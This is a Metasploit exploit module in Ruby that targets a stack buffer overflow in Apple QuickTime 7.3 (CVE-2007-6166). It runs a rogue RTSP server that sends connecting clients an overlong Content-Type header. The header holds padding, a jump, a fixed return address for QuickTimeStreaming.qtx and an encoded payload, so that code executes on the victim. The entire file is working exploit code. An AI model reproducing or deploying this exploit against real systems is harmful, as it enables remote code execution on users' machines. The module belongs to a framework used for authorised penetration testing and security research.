## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Apple QuickTime 7.3. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-6166' ], [ 'OSVDB', '40876' ], [ 'BID', '26549' ], [ 'URL', 'http://milw0rm.com/exploits/4648' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 700, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'MaxNops' => 0, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70) ], 'Privileged' => false, 'DisclosureDate' => 'Nov 23 2007', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) client.get_once buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2) buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length) strname = rand_text_alpha(rand(75) + 1) date = Time.now num = rand(1).to_s header = "RTSP/1.0 200 OK\r\n" header << "CSeq: 1\r\n" header << "Date: #{date}\r\n" header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n" header << "Content-Type: #{buffer}\r\n" header << "Content-Length: #{strname.length}\r\n\r\n" body = "v=#{num}\r\n" body << "o=#{strname}\r\n" body << "s=#{strname}\r\n" body << "i=#{strname}\r\n" body << "t=#{num}\r\n" body << "a=tool:#{strname}\r\n" body << "a=type:#{strname}\r\n" body << "a=control:#{strname}\r\n" body << "a=range:#{strname}\r\n" body << "a=x-qt-text-nam:#{strname}\r\n" body << "a=x-qt-text-inf:#{strname}\r\n" body << "m=#{strname}\r\n" body << "c=#{strname}\r\n" body << "a=control:#{strname}\r\n" sploit = header + body print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...") client.put(sploit) handler(client) service.close_client(client) end end